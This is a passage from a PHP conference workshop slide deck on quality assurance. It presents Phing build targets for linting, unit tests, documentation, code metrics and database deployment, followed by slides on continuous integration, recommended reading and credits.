    and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project> Structure of a build <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target>
  178. <?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> <!-- set global

    and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project> Structure of a build </project>
  179. build.properties project.title=WeCycle phpbook:qademo dragonbe$ cat build.properties # General settings project.website=http://wecycle.local

    project.title=WeCycle # AB Testing properties abrequests=1000 abconcurrency=10
  180. local.properties project.website=http://qademo.local abrequests=1000 abconcurrency=10 db.username=qademo_user db.password=v3rRyS3crEt db.hostname=127.0.0.1 db.dbname=qademo

  181. Let’s  run  it

  182. Artifacts • some tools provide output we can use later

    • called “artifacts” • we need to store them somewhere • so we create a prepare target • that creates these artifact directories (./build) • that gets cleaned every run
  183. Prepare for artifacts <target name="prepare" description="Clean up the build path">

    <delete dir="${project.basedir}/build" quiet="true" /> <mkdir dir="${project.basedir}/build" /> <mkdir dir="${project.basedir}/build/docs" /> <mkdir dir="${project.basedir}/build/logs" /> <mkdir dir="${project.basedir}/build/coverage" /> <mkdir dir="${project.basedir}/build/pdepend" /> <mkdir dir="${project.basedir}/build/browser" /> </target>
  184. phpdoc2 <target name="phpdoc2" description="Generating automated documentation"> <property name="doc.title" value="${project.title} API

    Documentation"/> <exec command="/usr/bin/phpdoc -d application/,library/In2it -e php -t ${project.basedir}/build/docs --title=&quot;${doc.title}&quot;" dir="${project.basedir}" passthru="true" /> </target>
  185. PHPUnit <target name="phpunit" description="Running unit tests"> <exec command="/usr/bin/phpunit --coverage-html ${project.basedir}/build/coverage

    --coverage-clover ${project.basedir}/build/logs/clover.xml --log-junit ${project.basedir}/build/logs/junit.xml" dir="${project.basedir}/tests" passthru="true" /> </target>
  186. PHP_CodeSniffer <target name="phpcs" description="Validate code with PHP CodeSniffer"> <exec command="/usr/bin/phpcs

    --report=checkstyle --report-file=${project.basedir}/build/logs/checkstyle.xml --standard=Zend --extensions=php application library/In2it" dir="${project.basedir}" passthru="true" /> </target>
  187. Copy Paste Detection <target name="phpcpd" description="Detect copy/paste with PHPCPD"> <phpcpd>

    <fileset refid="phpfiles" /> <formatter type="pmd" outfile="${project.basedir}/build/logs/pmd-cpd.xml" /> </phpcpd> </target>
  188. PHP Mess Detection <target name="phpmd" description="Mess detection with PHPMD"> <phpmd>

    <fileset refid="phpfiles" /> <formatter type="xml" outfile="${project.basedir}/build/logs/pmd.xml" /> </phpmd> </target>
  189. PHP Depend <target name="pdepend" description="Dependency calculations with PDepend"> <phpdepend> <fileset

    refid="phpfiles" /> <logger type="jdepend-xml" outfile="${project.basedir}/build/logs/jdepend.xml" /> <logger type="phpunit-xml" outfile="${project.basedir}/build/logs/phpunit.xml" /> <logger type="summary-xml" outfile="${project.basedir}/build/logs/pdepend-summary.xml" /> <logger type="jdepend-chart" outfile="${project.basedir}/build/pdepend/pdepend.svg" /> <logger type="overview-pyramid" outfile="${project.basedir}/build/pdepend/pyramid.svg" /> </phpdepend> </target>
  190. PHP CodeBrowser <target name="phpcb" description="Code browser with PHP_CodeBrowser"> <exec command="/usr/bin/phpcb

    -l ${project.basedir}/build/logs -S php -o ${project.basedir}/build/browser" dir="${project.basedir}" passthru="true"/> </target>
  191. Create a build procedure <target name="build" description="Building app"> <phingCall target="prepare"

    /> <phingCall target="phplint" /> <phingCall target="phpunit" /> <phingCall target="phpdoc2" /> <phingCall target="phpcs" /> <phingCall target="phpcpd" /> <phingCall target="phpmd" /> <phingCall target="pdepend" /> <phingCall target="phpcb" /> </target>
  192. Other things to automate • server stress-testing with Apache Benchmark

    • database deployment with DBDeploy • package code base with Phar • transfer package to servers with - FTP/SFTP - scp/rsync • execute remote commands with SSH • … so much more
  193. Example DBDeploy <target name="dbdeploy" description="Update the DB to the latest

    version"> <!-- set the path for mysql execution scripts --> <property name="dbscripts.dir" value="${project.basedir}/${dbdeploy.scripts}" /> <!-- process the DB deltas --> <dbdeploy url="mysql:host=${db.hostname};dbname=${db.dbname}" userid="${db.username}" password="${db.password}" dir="${dbscripts.dir}/deltas" outputfile="${dbscripts.dir}/all-deltas.sql" undooutputfile="${dbscripts.dir}/undo-all-deltas.sql"/> <!-- execute deltas --> <pdosqlexec url="mysql:host=${db.hostname};dbname=${db.dbname}" userid="${db.username}" password="${db.password}" src="${dbscripts.dir}/all-deltas.sql"/> </target>
  194. Build  it

  195. Continuous Integration

  196. None
  197. None
  198. None
  199. None
  200. None
  201. None
  202. None
  203. None
  204. Deployment Build Development Versioning System Continuous Integration System ACC TEST

    DEV PROD Status Nightly builds Documentation Backup/Archive Build package wiki/PM tools Build - Unit tests - API docs - Code conventions - Software metrics
  205. Now you are a winner!

  206. Team Works!

  207. None
  208. None
  209. None
  210. None
  211. None
  212. Conclusion

  213. Get your information in a consistent, automated way and make

    it accessible for the team
  214. More people can better safeguard the code!

  215. QA starts with YOU!

  216. Recommended  reading • the  PHP  QA  book -­‐ Sebas>an  Bergmann

    -­‐ Stefan  Priebsch
  217. Recommended  reading • The  Grumpy  Book -­‐ Chris  Hartjes

  218. Recommended  reading • OOD  Quality  Metrics -­‐ Robert  Cecil  Mar>n

    Free h4p://www.objectmentor.com/publica>ons/oodmetrc.pdf
  219. Michelangelo van Dam Certified Zend Engineer michelangelo@in2it.be (202) 559-7401 @DragonBe

    2 Contact us for consulting - training - QA www.in2it.be
  220. https://joind.in/6858 Please leave feedback to make this workshop better

  221. PHP BENELUX CONFERENCE Antwerp  2013 phpcon.eu

  222. Credits I’d like to thank the following people for sharing

    their creative commons pictures michelangelo: http://www.flickr.com/photos/dasprid/5148937451 birds: http://www.flickr.com/photos/andyofne/4633356197 safeguarding: http://www.flickr.com/photos/infidelic/4306205887/ bugs: http://www.flickr.com/photos/goingslo/4523034319 behaviour: http://www.flickr.com/photos/yuan2003/1812881370 prevention: http://www.flickr.com/photos/robertelyov/5159801170 progress: http://www.flickr.com/photos/dingatx/4115844000 workout: http://www.flickr.com/photos/aktivioslo/3883690673 measurement: http://www.flickr.com/photos/cobalt220/5479976917 team spirit: http://www.flickr.com/photos/amberandclint/3266859324 time: http://www.flickr.com/photos/freefoto/2198154612 chris hartjes: http://www.flickr.com/photos/sebastian_bergmann/3341258964 continuous reporting: http://www.flickr.com/photos/dhaun/5640386266 deploy packages: http://www.flickr.com/photos/fredrte/2338592371 race cars: http://www.flickr.com/photos/robdunckley/3781995277 protection dog: http://www.flickr.com/photos/boltofblue/5724934828 gears: http://www.flickr.com/photos/freefoto/5982549938 1st place: http://www.flickr.com/photos/evelynishere/3417340248 elephpant: http://www.flickr.com/photos/drewm/3191872515
  223. Thank you